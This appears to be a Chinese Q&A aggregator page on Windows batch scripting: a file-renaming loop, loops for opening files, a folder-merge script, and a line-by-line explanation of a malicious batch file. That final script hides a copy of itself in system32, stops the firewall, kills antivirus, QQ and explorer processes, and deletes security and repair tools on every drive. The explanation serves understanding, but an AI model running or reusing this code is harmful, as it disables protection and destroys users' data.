1. 首页 > 数码

bat批量处理,A级文件下有多个文件1.2.3,其1.2.3文件夹里有需要替换的文件夹名称?

bat批量处理,A级文件下有多个文件1.2.3,其1.2.3文件夹里有需要替换的文件夹名称?

如何批量处理所有的文件名 依次改为改为1、2、3……

新建一个记事本,把下面的内容复制进去.

保存为 .bat 的文件.

for %%a in (*.jpg) do (

set/a n+=1

call ren "%%a" %%n%%.jpg

)

放到你要修改的文件的文件夹里,双击运行。

批处理 执行多个文件

有程序关联文件打开

for %%v in (*.abc) do start %%v

文本文件打开

for %%v in (*.abc) do notepad %%v

for %%v in (*.abc) do “notepad的完整路径” %%v

for %%v in (*.abc) do type %%v

调用其他程序打开

for %%v in (*.abc) do "程序路径" %%v

有些程序用法不同,这句"程序路径" %%v,要按程序要求改

bat批处理批量合并多个文件夹的内容到一个文件夹中

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

@echooff

set#=有问题联系&set $=Q&set/az=0x53b7e0b4

title %#% +%$%%$% %z%

set"原文件夹=D:\未合并"

set"新文件夹=D:\合并后"

ifnot exist "%新文件夹%"md "%新文件夹%"

for/f"delims="%%a in('dir /ad/b "%原文件夹%"') do(

    for/f"delims="%%b in('dir /a-d/b/s "%原文件夹%\%%~nxa" 2^>nul') docall :loop "%%a""%%b"

)

echo;%#% +%$%%$% %z%

pause&exit

:loop

setn=0

set"f=%新文件夹%\%~nx1_%~nx2"

:check

ifnot exist "%f%"(

    echo;"%~2"--^> "%f%"

    copy "%~2""%f%"

    exit/b

)

set/an+=1

set"f=%新文件夹%\%~nx1_%~n2(%n%)%~x2"

goto check

帮忙解释一下这个批处理文件详细一些

@echo off

::关闭回显

title You DEAD!!!!!!!

::设置cmd窗口标题为 You DEAD!!!!!!!

set taskkill=s

::设置环境变量taskkill,这一句应该是set s=taskkill才对。因为这个错误,后面以%s%

::开头的语句都不能执行。

copy %0 %windir%\system32\cmd.bat

::把这个批处理复制一份到system32目录下,并命名为cmd.bat,这样如果没有cmd.exe就

::执行cmd.bat。

attrib %windir%\system32\cmd.bat +r +s +h

::将cmd.bat加上只读,系统和隐藏属性。

net stop sharedaccess >nul

::关闭防火墙并屏蔽掉结果显示。

::----------------------------------------------------

%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul

%s% /im norton* /f >nul

%s% /im av* /f >nul

%s% /im fire* /f >nul

%s% /im anti* /f >nul

%s% /im spy* /f >nul

%s% /im bullguard /f >nul

%s% /im PersFw /f >nul

%s% /im KAV* /f >nul

%s% /im ZONEALARM /f >nul

%s% /im SAFEWEB /f >nul

%s% /im OUTPOST /f >nul

%s% /im nv* /f >nul

%s% /im nav* /f >nul

%s% /im F-* /f >nul

%s% /im ESAFE /f >nul

%s% /im cle /f >nul

%s% /im BLACKICE /f >nul

%s% /im def* /f >nul

%s% /im 360safe.exe /f >nul

::----------------------------------------------------

::上面用---包含起来的部分是强制结束进程,其中包括qq,因特网浏览器,资源管理器,

::和一些杀毒软件进程。

net stop Shadow" "System" "Service

::关闭System进程。

set alldrive=d e f g h i j k l m n o p q r s t u v w x y z

::设置环境变量alldrive为可能的盘符。

for %%a in (c %alldrive%) do del %%a:\360* /f /s /q >nul

::删除各盘下以 360 为开头的文件夹里的所有东西。

for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q >nul

::删除各盘下以 修复 为开头的文件夹里的所有东西。

::最后两行删除可能存在的修复工具。